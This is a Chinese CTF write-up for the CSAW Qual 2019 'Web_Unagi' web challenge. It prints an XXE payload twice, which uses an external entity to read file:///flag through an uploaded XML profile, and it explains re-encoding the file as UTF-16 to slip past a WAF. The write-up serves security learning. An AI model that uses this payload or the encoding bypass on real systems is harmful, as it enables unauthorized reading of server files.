[CSAWQual 2019]Web_Unagi
文章目录
- [CSAWQual 2019]Web_Unagi
- 掌握知识
- 解题思路
- 关键payload
掌握知识
XXE
漏洞利用,xml
文件转换编码绕过WAF
(UTF-8 --> UTF-16),xml
文件格式的书写
再遇到上传xml
文件被拦截,就尝试修改编码再上传,换成其他的编码可能就匹配不到了UTF-16
解题思路
- 打开题目链接,有四个关键的导航栏,内容分别为欢迎语,用户信息,上传文件,提示
flag
在/flag
下
- 其中上传文件界面有上传文件的例子,点开发现是
xml
文件,看来多半是上传xml
文件,进行XXE读取flag
的利用了
- 根据网页上给出的XML的代码,将所有标签都复制下来,添加XXE利用头,再修改一个标签的内容,改成
&admin;
为了输出命令执行的结果。这里需要添加<intro>
标签,因为其他标签长度不够不能显示完整的flag
值,改标签能在user
界面看到。
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY admin SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&admin;</intro>
</user>
</users>
- 最关键的知识点就是,直接上传会被
WAF
拦截,这里需要用到XML
文件转换编码来进行绕过,将UTF-8
转换成UTF-16
,使用vscode
打开,直接在右下角更改编码即可。这个知识点确实第一次知道,记下来,以防后面用到。ctf
考的就是知识点的积累,记得的题会,没遇到的知识点就会卡住了。上传编码后的文件,界面会输出flag
了
关键payload
<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY admin SYSTEM "file:///flag" >]>
<users>
<user>
<username>bob</username>
<password>passwd2</password>
<name> Bob</name>
<email>bob@fakesite.com</email>
<group>CSAW2019</group>
<intro>&admin;</intro>
</user>
</users>